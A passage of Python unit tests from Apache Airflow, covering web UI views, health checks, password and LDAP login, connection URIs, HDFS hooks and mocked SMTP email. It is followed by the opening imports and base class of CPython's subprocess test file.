Hoc Query", response.data.decode('utf-8')) response = self.app.post( "/admin/queryview/", data=dict( conn_id="airflow_db", sql="SELECT+COUNT%281%29+as+TEST+FROM+task_instance")) self.assertIn("TEST", response.data.decode('utf-8')) def test_health(self): BJ = jobs.BaseJob session = Session() # case-1: healthy scheduler status last_scheduler_heartbeat_for_testing_1 = timezone.utcnow() session.add(BJ(job_type='SchedulerJob', state='running', latest_heartbeat=last_scheduler_heartbeat_for_testing_1)) session.commit() response_json = json.loads(self.app.get('/health').data.decode('utf-8')) self.assertEqual('healthy', response_json['metadatabase']['status']) self.assertEqual('healthy', response_json['scheduler']['status']) self.assertEqual(str(last_scheduler_heartbeat_for_testing_1), response_json['scheduler']['latest_scheduler_heartbeat']) session.query(BJ).\ filter(BJ.job_type == 'SchedulerJob', BJ.state == 'running', BJ.latest_heartbeat == last_scheduler_heartbeat_for_testing_1).\ delete() session.commit() # case-2: unhealthy scheduler status - scenario 1 (SchedulerJob is running too slowly) last_scheduler_heartbeat_for_testing_2 = timezone.utcnow() - timedelta(minutes=1) (session.query(BJ) .filter(BJ.job_type == 'SchedulerJob') .update({'latest_heartbeat': last_scheduler_heartbeat_for_testing_2 - timedelta(seconds=1)})) session.add(BJ(job_type='SchedulerJob', state='running', latest_heartbeat=last_scheduler_heartbeat_for_testing_2)) session.commit() response_json = json.loads(self.app.get('/health').data.decode('utf-8')) self.assertEqual('healthy', response_json['metadatabase']['status']) self.assertEqual('unhealthy', response_json['scheduler']['status']) self.assertEqual(str(last_scheduler_heartbeat_for_testing_2), response_json['scheduler']['latest_scheduler_heartbeat']) session.query(BJ).\ filter(BJ.job_type == 'SchedulerJob', BJ.state == 'running', BJ.latest_heartbeat == last_scheduler_heartbeat_for_testing_1).\ delete() session.commit() # case-3: unhealthy scheduler status - scenario 2 (no running SchedulerJob) session.query(BJ).\ filter(BJ.job_type == 'SchedulerJob', BJ.state == 'running').\ delete() session.commit() response_json = json.loads(self.app.get('/health').data.decode('utf-8')) self.assertEqual('healthy', response_json['metadatabase']['status']) self.assertEqual('unhealthy', response_json['scheduler']['status']) self.assertEqual('None', response_json['scheduler']['latest_scheduler_heartbeat']) session.close() def test_noaccess(self): response = self.app.get('/admin/airflow/noaccess') self.assertIn("You don't seem to have access.", response.data.decode('utf-8')) def test_pickle_info(self): response = self.app.get('/admin/airflow/pickle_info') self.assertIn('{', response.data.decode('utf-8')) def test_dag_views(self): response = self.app.get( '/admin/airflow/graph?dag_id=example_bash_operator') self.assertIn("runme_0", response.data.decode('utf-8')) # confirm that the graph page loads when execution_date is blank response = self.app.get( '/admin/airflow/graph?dag_id=example_bash_operator&execution_date=') self.assertIn("runme_0", response.data.decode('utf-8')) response = self.app.get( '/admin/airflow/tree?num_runs=25&dag_id=example_bash_operator') self.assertIn("runme_0", response.data.decode('utf-8')) response = self.app.get( '/admin/airflow/duration?days=30&dag_id=example_bash_operator') self.assertIn("example_bash_operator", response.data.decode('utf-8')) response = self.app.get( '/admin/airflow/duration?days=30&dag_id=missing_dag', follow_redirects=True) self.assertIn("seems to be missing", response.data.decode('utf-8')) response = self.app.get( '/admin/airflow/tries?days=30&dag_id=example_bash_operator') self.assertIn("example_bash_operator", response.data.decode('utf-8')) response = self.app.get( '/admin/airflow/landing_times?' 'days=30&dag_id=example_python_operator') self.assertIn("example_python_operator", response.data.decode('utf-8')) response = self.app.get( '/admin/airflow/landing_times?' 'days=30&dag_id=example_xcom') self.assertIn("example_xcom", response.data.decode('utf-8')) response = self.app.get( '/admin/airflow/gantt?dag_id=example_bash_operator') self.assertIn("example_bash_operator", response.data.decode('utf-8')) response = self.app.get( '/admin/airflow/code?dag_id=example_bash_operator') self.assertIn("example_bash_operator", response.data.decode('utf-8')) response = self.app.get( '/admin/airflow/blocked') response = self.app.get( '/admin/configurationview/') self.assertIn("Airflow Configuration", response.data.decode('utf-8')) self.assertIn("Running Configuration", response.data.decode('utf-8')) response = self.app.get( '/admin/airflow/rendered?' 'task_id=runme_1&dag_id=example_bash_operator&' 'execution_date={}'.format(DEFAULT_DATE_ISO)) self.assertIn("example_bash_operator", response.data.decode('utf-8')) response = self.app.get( '/admin/airflow/log?task_id=run_this_last&' 'dag_id=example_bash_operator&execution_date={}' ''.format(DEFAULT_DATE_ISO)) self.assertIn("run_this_last", response.data.decode('utf-8')) response = self.app.get( '/admin/airflow/task?' 'task_id=runme_0&dag_id=example_bash_operator&' 'execution_date={}'.format(EXAMPLE_DAG_DEFAULT_DATE)) self.assertIn("Attributes", response.data.decode('utf-8')) response = self.app.get( '/admin/airflow/dag_stats') self.assertIn("example_bash_operator", response.data.decode('utf-8')) response = self.app.get( '/admin/airflow/task_stats') self.assertIn("example_bash_operator", response.data.decode('utf-8')) response = self.app.post("/admin/airflow/success", data=dict( task_id="print_the_context", dag_id="example_python_operator", upstream="false", downstream="false", future="false", past="false", execution_date=EXAMPLE_DAG_DEFAULT_DATE, origin="/admin")) self.assertIn("Wait a minute", response.data.decode('utf-8')) response = self.app.post('/admin/airflow/clear', data=dict( task_id="print_the_context", dag_id="example_python_operator", future="true", past="false", upstream="true", downstream="false", execution_date=EXAMPLE_DAG_DEFAULT_DATE, origin="/admin")) self.assertIn("Wait a minute", response.data.decode('utf-8')) form = dict( task_id="section-1", dag_id="example_subdag_operator", upstream="true", downstream="true", future="false", past="false", execution_date=EXAMPLE_DAG_DEFAULT_DATE, origin="/admin") response = self.app.post("/admin/airflow/success", data=form) self.assertIn("Wait a minute", response.data.decode('utf-8')) self.assertIn("section-1-task-1", response.data.decode('utf-8')) self.assertIn("section-1-task-2", response.data.decode('utf-8')) self.assertIn("section-1-task-3", response.data.decode('utf-8')) self.assertIn("section-1-task-4", response.data.decode('utf-8')) self.assertIn("section-1-task-5", response.data.decode('utf-8')) form["confirmed"] = "true" response = self.app.post("/admin/airflow/success", data=form) self.assertEqual(response.status_code, 302) form = dict( task_id="print_the_context", dag_id="example_python_operator", future="false", past="false", upstream="false", downstream="true", execution_date=EXAMPLE_DAG_DEFAULT_DATE, origin="/admin") response = self.app.post("/admin/airflow/clear", data=form) self.assertIn("Wait a minute", response.data.decode('utf-8')) form["confirmed"] = "true" response = self.app.post("/admin/airflow/clear", data=form) self.assertEqual(response.status_code, 302) form = dict( task_id="section-1-task-1", dag_id="example_subdag_operator.section-1", future="false", past="false", upstream="false", downstream="true", recursive="true", execution_date=EXAMPLE_DAG_DEFAULT_DATE, origin="/admin") response = self.app.post("/admin/airflow/clear", data=form) self.assertIn("Wait a minute", response.data.decode('utf-8')) self.assertIn("example_subdag_operator.end", response.data.decode('utf-8')) self.assertIn("example_subdag_operator.section-1.section-1-task-1", response.data.decode('utf-8')) self.assertIn("example_subdag_operator.section-1", response.data.decode('utf-8')) self.assertIn("example_subdag_operator.section-2", response.data.decode('utf-8')) self.assertIn("example_subdag_operator.section-2.section-2-task-1", response.data.decode('utf-8')) self.assertIn("example_subdag_operator.section-2.section-2-task-2", response.data.decode('utf-8')) self.assertIn("example_subdag_operator.section-2.section-2-task-3", response.data.decode('utf-8')) self.assertIn("example_subdag_operator.section-2.section-2-task-4", response.data.decode('utf-8')) self.assertIn("example_subdag_operator.section-2.section-2-task-5", response.data.decode('utf-8')) self.assertIn("example_subdag_operator.some-other-task", response.data.decode('utf-8')) url = ( "/admin/airflow/run?task_id=runme_0&" "dag_id=example_bash_operator&ignore_all_deps=false&ignore_ti_state=true&" "ignore_task_deps=true&execution_date={}&" "origin=/admin".format(EXAMPLE_DAG_DEFAULT_DATE)) response = self.app.get(url) response = self.app.get( "/admin/airflow/refresh?dag_id=example_bash_operator") response = self.app.get("/admin/airflow/refresh_all") response = self.app.post( "/admin/airflow/paused?" "dag_id=example_python_operator&is_paused=false") self.assertIn("OK", response.data.decode('utf-8')) response = self.app.get("/admin/xcom", follow_redirects=True) self.assertIn("Xcoms", response.data.decode('utf-8')) def test_charts(self): session = Session() chart_label = "Airflow task instance by type" chart = session.query( models.Chart).filter(models.Chart.label == chart_label).first() chart_id = chart.id session.close() response = self.app.get( '/admin/airflow/chart' '?chart_id={}&iteration_no=1'.format(chart_id)) self.assertIn("Airflow task instance by type", response.data.decode('utf-8')) response = self.app.get( '/admin/airflow/chart_data' '?chart_id={}&iteration_no=1'.format(chart_id)) self.assertIn("example", response.data.decode('utf-8')) response = self.app.get( '/admin/airflow/dag_details?dag_id=example_branch_operator') self.assertIn("run_this_first", response.data.decode('utf-8')) def test_fetch_task_instance(self): url = ( "/admin/airflow/object/task_instances?" "dag_id=example_python_operator&" "execution_date={}".format(EXAMPLE_DAG_DEFAULT_DATE)) response = self.app.get(url) self.assertIn("print_the_context", response.data.decode('utf-8')) def test_dag_view_task_with_python_operator_using_partial(self): response = self.app.get( '/admin/airflow/task?' 'task_id=test_dagrun_functool_partial&dag_id=test_task_view_type_check&' 'execution_date={}'.format(EXAMPLE_DAG_DEFAULT_DATE)) self.assertIn("A function with two args", response.data.decode('utf-8')) def test_dag_view_task_with_python_operator_using_instance(self): response = self.app.get( '/admin/airflow/task?' 'task_id=test_dagrun_instance&dag_id=test_task_view_type_check&' 'execution_date={}'.format(EXAMPLE_DAG_DEFAULT_DATE)) self.assertIn("A __call__ method", response.data.decode('utf-8')) def tearDown(self): configuration.conf.set("webserver", "expose_config", "False") self.dag_bash.clear(start_date=EXAMPLE_DAG_DEFAULT_DATE, end_date=timezone.utcnow()) session = Session() session.query(models.DagRun).delete() session.query(models.TaskInstance).delete() session.commit() session.close() class SecureModeWebUiTests(unittest.TestCase): def setUp(self): configuration.load_test_config() configuration.conf.set("webserver", "authenticate", "False") configuration.conf.set("core", "secure_mode", "True") app = application.create_app() app.config['TESTING'] = True self.app = app.test_client() def test_query(self): response = self.app.get('/admin/queryview/') self.assertEqual(response.status_code, 404) def test_charts(self): response = self.app.get('/admin/chart/') self.assertEqual(response.status_code, 404) def tearDown(self): configuration.conf.remove_option("core", "SECURE_MODE") class PasswordUserTest(unittest.TestCase): def setUp(self): user = models.User() from airflow.contrib.auth.backends.password_auth import PasswordUser self.password_user = PasswordUser(user) self.password_user.username = "password_test" @mock.patch('airflow.contrib.auth.backends.password_auth.generate_password_hash') def test_password_setter(self, mock_gen_pass_hash): mock_gen_pass_hash.return_value = b"hashed_pass" if six.PY3 else "hashed_pass" self.password_user.password = "secure_password" mock_gen_pass_hash.assert_called_with("secure_password", 12) def test_password_unicode(self): # In python2.7 no conversion is required back to str # In python >= 3 the method must convert from bytes to str self.password_user.password = "secure_password" self.assertIsInstance(self.password_user.password, str) def test_password_user_authenticate(self): self.password_user.password = "secure_password" self.assertTrue(self.password_user.authenticate("secure_password")) def test_password_unicode_user_authenticate(self): self.password_user.username = u"🐼" # This is a panda self.password_user.password = "secure_password" self.assertTrue(self.password_user.authenticate("secure_password")) def test_password_authenticate_session(self): from airflow.contrib.auth.backends.password_auth import PasswordUser self.password_user.password = 'test_password' session = Session() session.add(self.password_user) session.commit() query_user = session.query(PasswordUser).filter_by( username=self.password_user.username).first() self.assertTrue(query_user.authenticate('test_password')) session.query(models.User).delete() session.commit() session.close() class WebPasswordAuthTest(unittest.TestCase): def setUp(self): configuration.conf.set("webserver", "authenticate", "True") configuration.conf.set("webserver", "auth_backend", "airflow.contrib.auth.backends.password_auth") app = application.create_app() app.config['TESTING'] = True self.app = app.test_client() from airflow.contrib.auth.backends.password_auth import PasswordUser session = Session() user = models.User() password_user = PasswordUser(user) password_user.username = 'airflow_passwordauth' password_user.password = 'password' print(password_user._password) session.add(password_user) session.commit() session.close() def get_csrf(self, response): tree = BeautifulSoup(response.data, 'html.parser') return tree.find('input', attrs={'name': '_csrf_token'})['value'] def login(self, username, password): response = self.app.get('/admin/airflow/login') csrf_token = self.get_csrf(response) return self.app.post('/admin/airflow/login', data=dict( username=username, password=password, csrf_token=csrf_token ), follow_redirects=True) def logout(self): return self.app.get('/admin/airflow/logout', follow_redirects=True) def test_login_logout_password_auth(self): self.assertTrue(configuration.conf.getboolean('webserver', 'authenticate')) response = self.login('user1', 'whatever') self.assertIn('Incorrect login details', response.data.decode('utf-8')) response = self.login('airflow_passwordauth', 'wrongpassword') self.assertIn('Incorrect login details', response.data.decode('utf-8')) response = self.login('airflow_passwordauth', 'password') self.assertIn('Data Profiling', response.data.decode('utf-8')) response = self.logout() self.assertIn('form-signin', response.data.decode('utf-8')) def test_unauthorized_password_auth(self): response = self.app.get("/admin/airflow/landing_times") self.assertEqual(response.status_code, 302) def tearDown(self): configuration.load_test_config() session = Session() session.query(models.User).delete() session.commit() session.close() configuration.conf.set("webserver", "authenticate", "False") class WebLdapAuthTest(unittest.TestCase): def setUp(self): configuration.conf.set("webserver", "authenticate", "True") configuration.conf.set("webserver", "auth_backend", "airflow.contrib.auth.backends.ldap_auth") try: configuration.conf.add_section("ldap") except Exception: pass configuration.conf.set("ldap", "uri", "ldap://openldap:389") configuration.conf.set("ldap", "user_filter", "objectClass=*") configuration.conf.set("ldap", "user_name_attr", "uid") configuration.conf.set("ldap", "bind_user", "cn=Manager,dc=example,dc=com") configuration.conf.set("ldap", "bind_password", "insecure") configuration.conf.set("ldap", "basedn", "dc=example,dc=com") configuration.conf.set("ldap", "cacert", "") app = application.create_app() app.config['TESTING'] = True self.app = app.test_client() def get_csrf(self, response): tree = BeautifulSoup(response.data, 'html.parser') return tree.find('input', attrs={'name': '_csrf_token'})['value'] def login(self, username, password): response = self.app.get('/admin/airflow/login') csrf_token = self.get_csrf(response) return self.app.post('/admin/airflow/login', data=dict( username=username, password=password, csrf_token=csrf_token ), follow_redirects=True) def logout(self): return self.app.get('/admin/airflow/logout', follow_redirects=True) def test_login_logout_ldap(self): self.assertTrue(configuration.conf.getboolean('webserver', 'authenticate')) response = self.login('user1', 'userx') self.assertIn('Incorrect login details', response.data.decode('utf-8')) response = self.login('userz', 'user1') self.assertIn('Incorrect login details', response.data.decode('utf-8')) response = self.login('user1', 'user1') self.assertIn('Data Profiling', response.data.decode('utf-8')) response = self.logout() self.assertIn('form-signin', response.data.decode('utf-8')) def test_unauthorized(self): response = self.app.get("/admin/airflow/landing_times") self.assertEqual(response.status_code, 302) def test_no_filter(self): response = self.login('user1', 'user1') self.assertIn('Data Profiling', response.data.decode('utf-8')) self.assertIn('Connections', response.data.decode('utf-8')) def test_with_filters(self): configuration.conf.set('ldap', 'superuser_filter', 'description=superuser') configuration.conf.set('ldap', 'data_profiler_filter', 'description=dataprofiler') response = self.login('dataprofiler', 'dataprofiler') self.assertIn('Data Profiling', response.data.decode('utf-8')) response = self.logout() self.assertIn('form-signin', response.data.decode('utf-8')) response = self.login('superuser', 'superuser') self.assertIn('Connections', response.data.decode('utf-8')) def tearDown(self): configuration.load_test_config() session = Session() session.query(models.User).delete() session.commit() session.close() configuration.conf.set("webserver", "authenticate", "False") class LdapGroupTest(unittest.TestCase): def setUp(self): configuration.conf.set("webserver", "authenticate", "True") configuration.conf.set("webserver", "auth_backend", "airflow.contrib.auth.backends.ldap_auth") try: configuration.conf.add_section("ldap") except Exception: pass configuration.conf.set("ldap", "uri", "ldap://openldap:389") configuration.conf.set("ldap", "user_filter", "objectClass=*") configuration.conf.set("ldap", "user_name_attr", "uid") configuration.conf.set("ldap", "bind_user", "cn=Manager,dc=example,dc=com") configuration.conf.set("ldap", "bind_password", "insecure") configuration.conf.set("ldap", "basedn", "dc=example,dc=com") configuration.conf.set("ldap", "cacert", "") def test_group_belonging(self): from airflow.contrib.auth.backends.ldap_auth import LdapUser users = {"user1": ["group1", "group3"], "user2": ["group2"] } for user in users: mu = models.User(username=user, is_superuser=False) auth = LdapUser(mu) self.assertEqual(set(users[user]), set(auth.ldap_groups)) def tearDown(self): configuration.load_test_config() configuration.conf.set("webserver", "authenticate", "False") class FakeWebHDFSHook(object): def __init__(self, conn_id): self.conn_id = conn_id def get_conn(self): return self.conn_id def check_for_path(self, hdfs_path): return hdfs_path class FakeSnakeBiteClientException(Exception): pass class FakeSnakeBiteClient(object): def __init__(self): self.started = True def ls(self, path, include_toplevel=False): """ the fake snakebite client :param path: the array of path to test :param include_toplevel: to return the toplevel directory info :return: a list for path for the matching queries """ if path[0] == '/datadirectory/empty_directory' and not include_toplevel: return [] elif path[0] == '/datadirectory/datafile': return [{ 'group': u'supergroup', 'permission': 420, 'file_type': 'f', 'access_time': 1481122343796, 'block_replication': 3, 'modification_time': 1481122343862, 'length': 0, 'blocksize': 134217728, 'owner': u'hdfs', 'path': '/datadirectory/datafile' }] elif path[0] == '/datadirectory/empty_directory' and include_toplevel: return [{ 'group': u'supergroup', 'permission': 493, 'file_type': 'd', 'access_time': 0, 'block_replication': 0, 'modification_time': 1481132141540, 'length': 0, 'blocksize': 0, 'owner': u'hdfs', 'path': '/datadirectory/empty_directory' }] elif path[0] == '/datadirectory/not_empty_directory' and include_toplevel: return [{ 'group': u'supergroup', 'permission': 493, 'file_type': 'd', 'access_time': 0, 'block_replication': 0, 'modification_time': 1481132141540, 'length': 0, 'blocksize': 0, 'owner': u'hdfs', 'path': '/datadirectory/empty_directory' }, { 'group': u'supergroup', 'permission': 420, 'file_type': 'f', 'access_time': 1481122343796, 'block_replication': 3, 'modification_time': 1481122343862, 'length': 0, 'blocksize': 134217728, 'owner': u'hdfs', 'path': '/datadirectory/not_empty_directory/test_file' }] elif path[0] == '/datadirectory/not_empty_directory': return [{ 'group': u'supergroup', 'permission': 420, 'file_type': 'f', 'access_time': 1481122343796, 'block_replication': 3, 'modification_time': 1481122343862, 'length': 0, 'blocksize': 134217728, 'owner': u'hdfs', 'path': '/datadirectory/not_empty_directory/test_file' }] elif path[0] == '/datadirectory/not_existing_file_or_directory': raise FakeSnakeBiteClientException elif path[0] == '/datadirectory/regex_dir': return [{ 'group': u'supergroup', 'permission': 420, 'file_type': 'f', 'access_time': 1481122343796, 'block_replication': 3, 'modification_time': 1481122343862, 'length': 12582912, 'blocksize': 134217728, 'owner': u'hdfs', 'path': '/datadirectory/regex_dir/test1file' }, { 'group': u'supergroup', 'permission': 420, 'file_type': 'f', 'access_time': 1481122343796, 'block_replication': 3, 'modification_time': 1481122343862, 'length': 12582912, 'blocksize': 134217728, 'owner': u'hdfs', 'path': '/datadirectory/regex_dir/test2file' }, { 'group': u'supergroup', 'permission': 420, 'file_type': 'f', 'access_time': 1481122343796, 'block_replication': 3, 'modification_time': 1481122343862, 'length': 12582912, 'blocksize': 134217728, 'owner': u'hdfs', 'path': '/datadirectory/regex_dir/test3file' }, { 'group': u'supergroup', 'permission': 420, 'file_type': 'f', 'access_time': 1481122343796, 'block_replication': 3, 'modification_time': 1481122343862, 'length': 12582912, 'blocksize': 134217728, 'owner': u'hdfs', 'path': '/datadirectory/regex_dir/copying_file_1.txt._COPYING_' }, { 'group': u'supergroup', 'permission': 420, 'file_type': 'f', 'access_time': 1481122343796, 'block_replication': 3, 'modification_time': 1481122343862, 'length': 12582912, 'blocksize': 134217728, 'owner': u'hdfs', 'path': '/datadirectory/regex_dir/copying_file_3.txt.sftp' }] else: raise FakeSnakeBiteClientException class FakeHDFSHook(object): def __init__(self, conn_id=None): self.conn_id = conn_id def get_conn(self): client = FakeSnakeBiteClient() return client class ConnectionTest(unittest.TestCase): def setUp(self): configuration.load_test_config() utils.db.initdb() os.environ['AIRFLOW_CONN_TEST_URI'] = ( 'postgres://username:password@ec2.compute.com:5432/the_database') os.environ['AIRFLOW_CONN_TEST_URI_NO_CREDS'] = ( 'postgres://ec2.compute.com/the_database') def tearDown(self): env_vars = ['AIRFLOW_CONN_TEST_URI', 'AIRFLOW_CONN_AIRFLOW_DB'] for ev in env_vars: if ev in os.environ: del os.environ[ev] def test_using_env_var(self): c = SqliteHook.get_connection(conn_id='test_uri') self.assertEqual('ec2.compute.com', c.host) self.assertEqual('the_database', c.schema) self.assertEqual('username', c.login) self.assertEqual('password', c.password) self.assertEqual(5432, c.port) def test_using_unix_socket_env_var(self): c = SqliteHook.get_connection(conn_id='test_uri_no_creds') self.assertEqual('ec2.compute.com', c.host) self.assertEqual('the_database', c.schema) self.assertIsNone(c.login) self.assertIsNone(c.password) self.assertIsNone(c.port) def test_param_setup(self): c = Connection(conn_id='local_mysql', conn_type='mysql', host='localhost', login='airflow', password='airflow', schema='airflow') self.assertEqual('localhost', c.host) self.assertEqual('airflow', c.schema) self.assertEqual('airflow', c.login) self.assertEqual('airflow', c.password) self.assertIsNone(c.port) def test_env_var_priority(self): c = SqliteHook.get_connection(conn_id='airflow_db') self.assertNotEqual('ec2.compute.com', c.host) os.environ['AIRFLOW_CONN_AIRFLOW_DB'] = \ 'postgres://username:password@ec2.compute.com:5432/the_database' c = SqliteHook.get_connection(conn_id='airflow_db') self.assertEqual('ec2.compute.com', c.host) self.assertEqual('the_database', c.schema) self.assertEqual('username', c.login) self.assertEqual('password', c.password) self.assertEqual(5432, c.port) del os.environ['AIRFLOW_CONN_AIRFLOW_DB'] def test_dbapi_get_uri(self): conn = BaseHook.get_connection(conn_id='test_uri') hook = conn.get_hook() self.assertEqual('postgres://username:password@ec2.compute.com:5432/the_database', hook.get_uri()) conn2 = BaseHook.get_connection(conn_id='test_uri_no_creds') hook2 = conn2.get_hook() self.assertEqual('postgres://ec2.compute.com/the_database', hook2.get_uri()) def test_dbapi_get_sqlalchemy_engine(self): conn = BaseHook.get_connection(conn_id='test_uri') hook = conn.get_hook() engine = hook.get_sqlalchemy_engine() self.assertIsInstance(engine, sqlalchemy.engine.Engine) self.assertEqual('postgres://username:password@ec2.compute.com:5432/the_database', str(engine.url)) def test_get_connections_env_var(self): conns = SqliteHook.get_connections(conn_id='test_uri') assert len(conns) == 1 assert conns[0].host == 'ec2.compute.com' assert conns[0].schema == 'the_database' assert conns[0].login == 'username' assert conns[0].password == 'password' assert conns[0].port == 5432 class WebHDFSHookTest(unittest.TestCase): def setUp(self): configuration.load_test_config() def test_simple_init(self): from airflow.hooks.webhdfs_hook import WebHDFSHook c = WebHDFSHook() self.assertIsNone(c.proxy_user) def test_init_proxy_user(self): from airflow.hooks.webhdfs_hook import WebHDFSHook c = WebHDFSHook(proxy_user='someone') self.assertEqual('someone', c.proxy_user) HDFSHook = None if six.PY2: from airflow.hooks.hdfs_hook import HDFSHook import snakebite @unittest.skipIf(HDFSHook is None, "Skipping test because HDFSHook is not installed") class HDFSHookTest(unittest.TestCase): def setUp(self): configuration.load_test_config() os.environ['AIRFLOW_CONN_HDFS_DEFAULT'] = 'hdfs://localhost:8020' def test_get_client(self): client = HDFSHook(proxy_user='foo').get_conn() self.assertIsInstance(client, snakebite.client.Client) self.assertEqual('localhost', client.host) self.assertEqual(8020, client.port) self.assertEqual('foo', client.service.channel.effective_user) @mock.patch('airflow.hooks.hdfs_hook.AutoConfigClient') @mock.patch('airflow.hooks.hdfs_hook.HDFSHook.get_connections') def test_get_autoconfig_client(self, mock_get_connections, MockAutoConfigClient): c = Connection(conn_id='hdfs', conn_type='hdfs', host='localhost', port=8020, login='foo', extra=json.dumps({'autoconfig': True})) mock_get_connections.return_value = [c] HDFSHook(hdfs_conn_id='hdfs').get_conn() MockAutoConfigClient.assert_called_once_with(effective_user='foo', use_sasl=False) @mock.patch('airflow.hooks.hdfs_hook.AutoConfigClient') def test_get_autoconfig_client_no_conn(self, MockAutoConfigClient): HDFSHook(hdfs_conn_id='hdfs_missing', autoconfig=True).get_conn() MockAutoConfigClient.assert_called_once_with(effective_user=None, use_sasl=False) @mock.patch('airflow.hooks.hdfs_hook.HDFSHook.get_connections') def test_get_ha_client(self, mock_get_connections): c1 = Connection(conn_id='hdfs_default', conn_type='hdfs', host='localhost', port=8020) c2 = Connection(conn_id='hdfs_default', conn_type='hdfs', host='localhost2', port=8020) mock_get_connections.return_value = [c1, c2] client = HDFSHook().get_conn() self.assertIsInstance(client, snakebite.client.HAClient) send_email_test = mock.Mock() class EmailTest(unittest.TestCase): def setUp(self): configuration.conf.remove_option('email', 'EMAIL_BACKEND') @mock.patch('airflow.utils.email.send_email') def test_default_backend(self, mock_send_email): res = utils.email.send_email('to', 'subject', 'content') mock_send_email.assert_called_with('to', 'subject', 'content') self.assertEqual(mock_send_email.return_value, res) @mock.patch('airflow.utils.email.send_email_smtp') def test_custom_backend(self, mock_send_email): configuration.conf.set('email', 'EMAIL_BACKEND', 'tests.core.send_email_test') utils.email.send_email('to', 'subject', 'content') send_email_test.assert_called_with( 'to', 'subject', 'content', files=None, dryrun=False, cc=None, bcc=None, mime_charset='us-ascii', mime_subtype='mixed') self.assertFalse(mock_send_email.called) class EmailSmtpTest(unittest.TestCase): def setUp(self): configuration.conf.set('smtp', 'SMTP_SSL', 'False') @mock.patch('airflow.utils.email.send_MIME_email') def test_send_smtp(self, mock_send_mime): attachment = tempfile.NamedTemporaryFile() attachment.write(b'attachment') attachment.seek(0) utils.email.send_email_smtp('to', 'subject', 'content', files=[attachment.name]) self.assertTrue(mock_send_mime.called) call_args = mock_send_mime.call_args[0] self.assertEqual(configuration.conf.get('smtp', 'SMTP_MAIL_FROM'), call_args[0]) self.assertEqual(['to'], call_args[1]) msg = call_args[2] self.assertEqual('subject', msg['Subject']) self.assertEqual(configuration.conf.get('smtp', 'SMTP_MAIL_FROM'), msg['From']) self.assertEqual(2, len(msg.get_payload())) filename = u'attachment; filename="' + os.path.basename(attachment.name) + '"' self.assertEqual(filename, msg.get_payload()[-1].get(u'Content-Disposition')) mimeapp = MIMEApplication('attachment') self.assertEqual(mimeapp.get_payload(), msg.get_payload()[-1].get_payload()) @mock.patch('airflow.utils.email.send_MIME_email') def test_send_smtp_with_multibyte_content(self, mock_send_mime): utils.email.send_email_smtp('to', 'subject', '🔥', mime_charset='utf-8') self.assertTrue(mock_send_mime.called) call_args = mock_send_mime.call_args[0] msg = call_args[2] mimetext = MIMEText('🔥', 'mixed', 'utf-8') self.assertEqual(mimetext.get_payload(), msg.get_payload()[0].get_payload()) @mock.patch('airflow.utils.email.send_MIME_email') def test_send_bcc_smtp(self, mock_send_mime): attachment = tempfile.NamedTemporaryFile() attachment.write(b'attachment') attachment.seek(0) utils.email.send_email_smtp('to', 'subject', 'content', files=[attachment.name], cc='cc', bcc='bcc') self.assertTrue(mock_send_mime.called) call_args = mock_send_mime.call_args[0] self.assertEqual(configuration.conf.get('smtp', 'SMTP_MAIL_FROM'), call_args[0]) self.assertEqual(['to', 'cc', 'bcc'], call_args[1]) msg = call_args[2] self.assertEqual('subject', msg['Subject']) self.assertEqual(configuration.conf.get('smtp', 'SMTP_MAIL_FROM'), msg['From']) self.assertEqual(2, len(msg.get_payload())) self.assertEqual(u'attachment; filename="' + os.path.basename(attachment.name) + '"', msg.get_payload()[-1].get(u'Content-Disposition')) mimeapp = MIMEApplication('attachment') self.assertEqual(mimeapp.get_payload(), msg.get_payload()[-1].get_payload()) @mock.patch('smtplib.SMTP_SSL') @mock.patch('smtplib.SMTP') def test_send_mime(self, mock_smtp, mock_smtp_ssl): mock_smtp.return_value = mock.Mock() mock_smtp_ssl.return_value = mock.Mock() msg = MIMEMultipart() utils.email.send_MIME_email('from', 'to', msg, dryrun=False) mock_smtp.assert_called_with( configuration.conf.get('smtp', 'SMTP_HOST'), configuration.conf.getint('smtp', 'SMTP_PORT'), ) self.assertTrue(mock_smtp.return_value.starttls.called) mock_smtp.return_value.login.assert_called_with( configuration.conf.get('smtp', 'SMTP_USER'), configuration.conf.get('smtp', 'SMTP_PASSWORD'), ) mock_smtp.return_value.sendmail.assert_called_with('from', 'to', msg.as_string()) self.assertTrue(mock_smtp.return_value.quit.called) @mock.patch('smtplib.SMTP_SSL') @mock.patch('smtplib.SMTP') def test_send_mime_ssl(self, mock_smtp, mock_smtp_ssl): configuration.conf.set('smtp', 'SMTP_SSL', 'True') mock_smtp.return_value = mock.Mock() mock_smtp_ssl.return_value = mock.Mock() utils.email.send_MIME_email('from', 'to', MIMEMultipart(), dryrun=False) self.assertFalse(mock_smtp.called) mock_smtp_ssl.assert_called_with( configuration.conf.get('smtp', 'SMTP_HOST'), configuration.conf.getint('smtp', 'SMTP_PORT'), ) @mock.patch('smtplib.SMTP_SSL') @mock.patch('smtplib.SMTP') def test_send_mime_noauth(self, mock_smtp, mock_smtp_ssl): configuration.conf.remove_option('smtp', 'SMTP_USER') configuration.conf.remove_option('smtp', 'SMTP_PASSWORD') mock_smtp.return_value = mock.Mock() mock_smtp_ssl.return_value = mock.Mock() utils.email.send_MIME_email('from', 'to', MIMEMultipart(), dryrun=False) self.assertFalse(mock_smtp_ssl.called) mock_smtp.assert_called_with( configuration.conf.get('smtp', 'SMTP_HOST'), configuration.conf.getint('smtp', 'SMTP_PORT'), ) self.assertFalse(mock_smtp.login.called) @mock.patch('smtplib.SMTP_SSL') @mock.patch('smtplib.SMTP') def test_send_mime_dryrun(self, mock_smtp, mock_smtp_ssl): utils.email.send_MIME_email('from', 'to', MIMEMultipart(), dryrun=True) self.assertFalse(mock_smtp.called) self.assertFalse(mock_smtp_ssl.called) if __name__ == '__main__': unittest.main()
test_subprocess.py
import unittest from unittest import mock from test import support import subprocess import sys import signal import io import os import errno import tempfile import time import selectors import sysconfig import select import shutil import gc import textwrap try: import threading except ImportError: threading = None if support.PGO: raise unittest.SkipTest("test is not helpful for PGO") mswindows = (sys.platform == "win32") # # Depends on the following external programs: Python # if mswindows: SETBINARY = ('import msvcrt; msvcrt.setmode(sys.stdout.fileno(), ' 'os.O_BINARY);') else: SETBINARY = '' class BaseTestCase(unittest.TestCase): def setUp(self): # Try to minimize the number of children we have so this test # doesn't crash on some buildbots (Alphas in particular). support.reap_children() def tearDown(self): for inst in subprocess._active: inst.wait() subprocess._cleanup() self.assertFalse(subprocess._active, "subprocess._active not empty") def assertStderrEqual(self, stderr, expected, msg=None): # In a debug build, stuff like "[6580 refs]" is printed to stderr at # shutdown time. 